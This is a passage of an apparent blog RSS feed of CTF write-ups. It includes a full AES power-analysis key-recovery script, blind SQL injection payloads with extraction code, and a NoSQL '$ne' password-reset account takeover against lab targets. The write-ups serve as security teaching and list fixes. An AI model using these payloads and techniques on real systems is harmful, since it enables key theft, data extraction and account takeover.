cybereto{N0_L0v3_1s_N0t_Gr34t}</p><p><strong>Conclusion:</strong></p><p>The “No Love” challenge is an excellent example of how to think outside the box when faced with severe space constraints. The Staged Shellcode technique is a fundamental and crucial skill for any security researcher or exploit developer, allowing them to bypass initial limitations and load larger, more complex payloads.</p><p>I hope this explanation was helpful and clear. If you have any further questions or inquiries, feel free to leave a comment!</p><p>This write-up was authored by <a href="https://kynxsoft.medium.com/"><em>kynxsoft</em></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*4p0ZwTSlVKWGXutufHfs-Q.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbdaddea29a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Leaky Device: AES-128 CPA Attack Write-up]]></title>
            <link>https://kynxsoft.medium.com/the-leaky-device-aes-128-cpa-attack-write-up-fb50c9e1b32b?source=rss-d0dd56858f5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb50c9e1b32b</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[the-leaky-device]]></category>
            <category><![CDATA[cyber-eto]]></category>
            <dc:creator><![CDATA[kynxsoft]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 15:25:26 GMT</pubDate>
            <atom:updated>2026-03-19T15:25:26.274Z</atom:updated>
            <content:encoded><![CDATA[<p>The Leaky Device: AES-128 CPA Attack Write-up</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hOVaqce0YKNe1IQh" /></figure><h3>1. Introduction</h3><p>This report details the process of solving ‘The Leaky Device’ challenge. The objective was to recover a 128-bit AES key from a device that leaks information through its power consumption during encryption operations.</p><h3>2. Challenge Overview</h3><p>We were provided with 5,000 power traces and their corresponding plaintexts. The device uses AES-128 in ECB mode. The goal is to perform a Correlation Power Analysis (CPA) attack to recover the secret key and decrypt the flag.</p><h3>3. Methodology: Correlation Power Analysis (CPA)</h3><p>CPA is a side-channel attack that exploits the correlation between the power consumption of a hardware device and the data being processed. We target the output of the S-Box in the first round.</p><p>The power model used is the Hamming Weight (HW) of the S-Box output:</p><p>HW(SBox(Plaintext ^ KeyGuess))</p><h3>4. Implementation</h3><p>The attack was implemented in Python using NumPy for efficient correlation calculations.</p><h3>CPA Attack Script (cpa_attack.py)</h3><pre>#!/usr/bin/env python3.11<br> import numpy as np<br> <br> # Load the data<br> traces = np.load(&#39;traces.npy&#39;)<br> plaintexts = np.load(&#39;plaintexts.npy&#39;)<br> <br> print(f&quot;Loaded {traces.shape[0]} traces with {traces.shape[1]} samples each&quot;)<br> print(f&quot;Loaded {plaintexts.shape[0]} plaintexts of {plaintexts.shape[1]} bytes each&quot;)<br> <br> # AES S-box<br> sbox = [<br> 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,<br> 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,<br> 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,<br> 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,<br> 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,<br> 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,<br> 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,<br> 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,<br> 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,<br> 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,<br> 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,<br> 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,<br> 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,<br> 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,<br> 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,<br> 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16<br> ]<br> <br> def hamming_weight(n):<br> &quot;&quot;&quot;Calculate the Hamming weight (number of 1s in binary representation)&quot;&quot;&quot;<br> return bin(n).count(&#39;1&#39;)<br> <br> def cpa_attack_byte(byte_idx):<br> &quot;&quot;&quot;Perform CPA attack on a single key byte&quot;&quot;&quot;<br> num_traces = traces.shape[0]<br> num_samples = traces.shape[1]<br> <br> best_key = 0<br> best_corr = 0<br> <br> print(f&quot;Attacking byte {byte_idx}…&quot;, end=&quot; &quot;, flush=True)<br> <br> for key_guess in range(256):<br> # Calculate hypothetical power consumption (Hamming weight of S-box output)<br> hypothetical_power = np.array([<br> hamming_weight(sbox[plaintexts[i, byte_idx] ^ key_guess])<br> for i in range(num_traces)<br> ])<br> <br> # Calculate correlation for each time sample<br> correlations = np.zeros(num_samples)<br> for sample_idx in range(num_samples):<br> trace_sample = traces[:, sample_idx]<br> <br> # Calculate Pearson correlation coefficient<br> mean_hyp = np.mean(hypothetical_power)<br> mean_trace = np.mean(trace_sample)<br> <br> numerator = np.sum((hypothetical_power - mean_hyp) * (trace_sample - mean_trace))<br> denominator = np.sqrt(np.sum((hypothetical_power - mean_hyp)**2) * np.sum((trace_sample - mean_trace)**2))<br> <br> if denominator != 0:<br> correlations[sample_idx] = numerator / denominator<br> <br> # Find maximum absolute correlation<br> max_corr = np.max(np.abs(correlations))<br> <br> if max_corr &gt; best_corr:<br> best_corr = max_corr<br> best_key = key_guess<br> <br> print(f&quot;Key byte: 0x{best_key:02x} (correlation: {best_corr:.4f})&quot;)<br> return best_key, best_corr<br> <br> # Recover all 16 key bytes<br> recovered_key = []<br> correlations = []<br> <br> print(&quot;\n=== Starting CPA Attack ===\n&quot;)<br> <br> for byte_idx in range(16):<br> key_byte, corr = cpa_attack_byte(byte_idx)<br> recovered_key.append(key_byte)<br> correlations.append(corr)<br> <br> print(&quot;\n=== Attack Complete ===\n&quot;)<br> print(f&quot;Recovered Key: {bytes(recovered_key).hex()}&quot;)<br> print(f&quot;Average correlation: {np.mean(correlations):.4f}&quot;)<br> <br> # Save the key<br> with open(&#39;recovered_key.bin&#39;, &#39;wb&#39;) as f:<br> f.write(bytes(recovered_key))<br> <br> print(&quot;\nKey saved to recovered_key.bin&quot;)</pre><h3>5. Results</h3><p>Running the script yielded the following output, successfully recovering all 16 bytes of the key:</p><p><strong>Loaded 5000 traces with 2000 samples each<br> Loaded 5000 plaintexts of 16 bytes each<br> <br> === Starting CPA Attack ===</strong></p><pre><br><br> Attacking byte 0… Key byte: 0xf6 (correlation: 0.7938)<br> Attacking byte 1… Key byte: 0xea (correlation: 0.8040)<br> Attacking byte 2… Key byte: 0x85 (correlation: 0.7966)<br> Attacking byte 3… Key byte: 0x4d (correlation: 0.7974)<br> Attacking byte 4… Key byte: 0xd3 (correlation: 0.7978)<br> Attacking byte 5… Key byte: 0xb2 (correlation: 0.7957)<br> Attacking byte 6… Key byte: 0x68 (correlation: 0.7980)<br> Attacking byte 7… Key byte: 0xa2 (correlation: 0.7959)<br> Attacking byte 8… Key byte: 0x72 (correlation: 0.7989)<br> Attacking byte 9… Key byte: 0xbc (correlation: 0.7990)<br> Attacking byte 10… Key byte: 0x1b (correlation: 0.7984)<br> Attacking byte 11… Key byte: 0x1d (correlation: 0.7908)<br> Attacking byte 12… Key byte: 0x29 (correlation: 0.8048)<br> Attacking byte 13… Key byte: 0x37 (correlation: 0.7983)<br> Attacking byte 14… Key byte: 0xc2 (correlation: 0.7988)<br> Attacking byte 15… Key byte: 0x7b (correlation: 0.7934)<br> <br> === Attack Complete ===<br> <br> Recovered Key: f6ea854dd3b268a272bc1b1d2937c27b<br> Average correlation: 0.7976<br> <br> Key saved to recovered_key.bin</pre><p>Recovered Key: f6ea854dd3b268a272bc1b1d2937c27b</p><h3>6. Decrypting the Flag</h3><p>Using the recovered key, we decrypted the flag ciphertext:</p><p>Flag: cybereto{SRJ_OK}</p><h3>7. Conclusion</h3><p>This challenge demonstrates the importance of side-channel countermeasures in hardware design. Even with a strong algorithm like AES, physical leakage can lead to total key recovery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*XtuTiBvKb9t4cvunsny6Nw.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb50c9e1b32b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Flagyard Training Labs] Technical Report: ViewOnce (Hard Web)]]></title>
            <link>https://kynxsoft.medium.com/author-kynxsoft-with-assistant-collaboration-8287f7094d70?source=rss-d0dd56858f5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8287f7094d70</guid>
            <category><![CDATA[flagyard]]></category>
            <dc:creator><![CDATA[kynxsoft]]></dc:creator>
            <pubDate>Sun, 15 Mar 2026 21:29:00 GMT</pubDate>
            <atom:updated>2026-09-15T23:14:49.634Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iwp7nwPEXTyM7hIIrQEQHw.png" /><figcaption>ViewOnce (Hard Web) — Full Technical Write-Up</figcaption></figure><p><strong>[Flagyard Training Labs] Technical Report: ViewOnce (Hard Web)</strong></p><p><strong>Challenge Platform: Flagyard Training Labs</strong></p><p><strong>Challenge Name: ViewOnce</strong></p><p><strong>Target Instance: </strong><a href="http://s3luefnvznq-0.playat.flagyard.com/"><strong>http://s3luefnvznq-0.playat.flagyard.com</strong></a></p><p><strong>Recovered Flag: </strong><strong>FlagY{&lt;REDACTED&gt;}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*jvD9L7ftqCxcIWoRDVRyZg.gif" /></figure><h3>1) Scope and Objective</h3><p>This challenge simulates a WhatsApp-style “view once” media feature: a user uploads an image, receives a one-time link, and the server destroys access after the first view.</p><p>The objective is to retrieve the secret flag from the backend service by analyzing application logic and exploiting implementation weaknesses (Blind SQL Injection via Side-Channel) in an authorized CTF environment.</p><h3>2) Initial Recon</h3><p>The first phase focused on endpoint discovery and state transitions:</p><ul><li><strong>POST </strong><strong>/upload</strong>: Uploads media and returns a unique view_token</li><li><strong>GET </strong><strong>/view/&lt;token&gt;</strong>: Displays the image and triggers server-side deletion.</li><li><strong>POST </strong><strong>/cleanup</strong>: Accepts a name field to manually remove uploaded entries.</li><li><strong>GET </strong><strong>/image/&lt;filename&gt;</strong>: Direct access to storage.</li></ul><p>Early checks showed that the view_token is a high-entropy UUID, making brute-force attacks on the URL itself impossible.</p><h3>3) Validating One-Time Semantics</h3><p>We verified that token expiration was strictly enforced server-side. Accessing a consumed token returned a 404 or an &quot;Expired&quot; message. This confirmed that the backend performs a state mutation (deletion) immediately upon a successful GET request to the /view endpoint.</p><h3>4) Suspicion Around /cleanup</h3><p>The /cleanup route proved to be the weak link. Injecting a single quote &#39; in the name parameter caused anomalous behavior, suggesting the input was being concatenated directly into a SQL query:</p><pre>&#39; OR (name=&#39;SENTINEL&#39; AND (&lt;CONDITION&gt;)) --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*JQYS4VMiiUplbKs4hyGpKw.gif" /></figure><h3>5) Limitation: No Direct Output</h3><p>The application did not return SQL errors or data in the HTTP response (In-band SQLi was not possible). This confirmed a <strong>Blind SQL Injection</strong> scenario. To exfiltrate data, we needed a reliable side-channel to differentiate between TRUE and FALSE SQL predicates.</p><h3>6) Designing a Boolean Oracle</h3><p>The breakthrough involved using the “View Once” logic as an Oracle. By uploading a “Sentinel” image, we could use its existence as a 1-bit signal:</p><ol><li><strong>Upload</strong> a sentinel image (e.g., name=&#39;kynx_sentinel&#39;) and save its view_token</li></ol><p><strong>Trigger Cleanup</strong> with an injected condition:</p><pre>&#39; OR (name=&#39;SENTINEL&#39; AND (&lt;CONDITION&gt;)) --</pre><p><strong>Check Sentinel</strong>: Attempt to access the /view/&lt;token&gt;</p><p><strong>TRUE</strong>: Sentinel is deleted $\rightarrow$ Token returns 404/Expired</p><p><strong>FALSE</strong>: Sentinel remains $\rightarrow$ Token returns the image.</p><h3>7) Database Enumeration</h3><p>Using this Oracle, we confirmed the schema:</p><ul><li><strong>Table Check</strong>: EXISTS(SELECT 1 FROM sqlite_master WHERE name=&#39;flags&#39;) $\rightarrow$ <strong>TRUE</strong></li><li><strong>Column Check</strong>: EXISTS(SELECT 1 FROM pragma_table_info(&#39;flags&#39;) WHERE name=&#39;flag&#39;) $\rightarrow$ <strong>TRUE</strong></li></ul><h3>8) Efficient Flag Extraction (Binary Search)</h3><p>To minimize requests and avoid manual guessing, we implemented a <strong>Binary Search</strong> algorithm over the ASCII range for each character position.</p><h3>8.1 Extraction Script (Python PoC)</h3><p>The following script automates the process of uploading a sentinel, injecting the condition, and observing the side-channel:</p><pre>Python</pre><pre>def extract_char(pos):<br>    lo, hi = 32, 126<br>    while lo &lt;= hi:<br>        mid = (lo + hi) // 2<br>        cond = f&quot;unicode(substr((SELECT flag FROM flags LIMIT 1), {pos}, 1)) &gt;= {mid}&quot;<br>        if is_true(cond):<br>            lo = mid + 1<br>        else:<br>            hi = mid - 1<br>    return chr(hi) if 32 &lt;= hi &lt;= 126 else None</pre><h3>9) Final Flag</h3><p>FlagY{} (Example hash)</p><h3>10) Root Cause Analysis</h3><ul><li><strong>Unparameterized SQL</strong>: The /cleanup input was directly concatenated into the query.</li><li><strong>State-Based Side Channel</strong>: The “delete on view” feature provided a high-fidelity oracle for data exfiltration.</li><li><strong>Lack of Rate Limiting</strong>: The automation of hundreds of requests was not throttled.</li></ul><h3>11) Security Fixes</h3><ul><li><strong>Parameterized Queries</strong>: Use prepared statements for all database interactions.</li><li><strong>Input Sanitization</strong>: Strictly validate the name parameter against a whitelist (e.g., alphanumeric only).</li><li><strong>Access Control</strong>: Ensure users can only “cleanup” their own uploads, preventing global SQL injection impacts.</li></ul><h3>12) Practical Takeaways</h3><ul><li>“No SQL output” does not mean data is safe; side-channels can be found in any state-changing logic.</li><li>Workflow features (like “View Once”) must be carefully audited for how they reveal backend state.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*QSPkEKJQFg-4hEnqZV90_Q.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8287f7094d70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pooking CTF Challenge Report — Flagyard]]></title>
            <link>https://kynxsoft.medium.com/pooking-ctf-challenge-report-flagyard-3e928b11ef71?source=rss-d0dd56858f5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e928b11ef71</guid>
            <dc:creator><![CDATA[kynxsoft]]></dc:creator>
            <pubDate>Wed, 11 Mar 2026 23:03:54 GMT</pubDate>
            <atom:updated>2026-03-14T11:43:16.823Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Pooking CTF Challenge Report — Flagyard</strong></p><p><strong>Challenge Overview</strong></p><ul><li><strong>Name: Pooking</strong></li><li><strong>Platform: Flagyard</strong></li><li><strong>Category: Web</strong></li><li><strong>Objective: Extract the flag in FlagY{} format.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwkmRG2it1hZyTdACPLT_Q.png" /></figure><p><strong>Vulnerability Analysis:</strong></p><p><strong>The target application, a car booking system, was found to be vulnerable to NoSQL Injection in several endpoints, most notably the password reset functionality.</strong></p><p><strong>Key Vulnerabilities:</strong></p><ul><li><strong>Information Disclosure: The </strong><strong>/api/login endpoint returned the full user object, including sensitive fields like resetToken and, in the case of the admin, the flag itself.</strong></li><li><strong>NoSQL Injection in Password Reset: The </strong><strong>/api/forgot-password and </strong><strong>/api/reset-password endpoints were vulnerable to NoSQL injection using MongoDB operators like </strong><strong>$ne, </strong><strong>$regex, and </strong><strong>$nin.</strong></li><li><strong>Blind NoSQL Injection: The </strong><strong>/api/forgot-password endpoint could be used to leak user emails character by character by observing the difference between &quot;User not found&quot; and &quot;Password reset link sent&quot; responses.</strong></li></ul><p><strong>Exploitation Process</strong></p><p><strong>1. User Enumeration</strong></p><p><strong>Using blind NoSQL injection on the </strong><strong>/api/forgot-password endpoint, I enumerated the emails in the database. I discovered a high-privileged user:</strong></p><ul><li><strong>Email: 4dm1n15tr4t0r@p00k1ng.fl4gy4rd.com</strong></li><li><strong>Role: senior_admin</strong></li></ul><p><strong>2. Account Takeover</strong></p><p><strong>To take over the admin account:</strong></p><ul><li><strong>Token Clearing: I reset the passwords of all known users using </strong><strong>$ne injection to ensure no other users had an active resetToken.</strong></li><li><strong>Admin Token Generation: I triggered a password reset for the admin email.</strong></li><li><strong>Password Reset Injection: I used the </strong><strong>$ne operator in the </strong><strong>/api/reset-password endpoint:</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*DsycdV_VFh7lfmXUzvCqbA.jpeg" /></figure><p><strong>JSON:</strong></p><pre>{ [cite: 23]<br>&quot;token&quot;: {&quot;$ne&quot;: &quot;invalid&quot;}, [cite: 24]<br>&quot;newPassword&quot;: &quot;admin_pwned_123&quot; [cite: 25]<br>} [cite: 26]</pre><p><strong>Since the admin was the only user with a valid token, the server matched the admin’s record and updated the password.</strong></p><p><strong>3. Flag Extraction:</strong></p><p><strong>After logging in with the new credentials, the server’s response to the login request contained the full user profile, which included the flag.</strong></p><p><strong>Final Result:</strong></p><ul><li><strong>Admin Email: 4dm1n15tr4t0r@p00k1ng.fl4gy4rd.com</strong></li><li><strong>Flag:</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*2ETNRbJnG9hqKT2JzuABww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*MiZr-9uVcmXOY_GW5MEH-w.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e928b11ef71" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>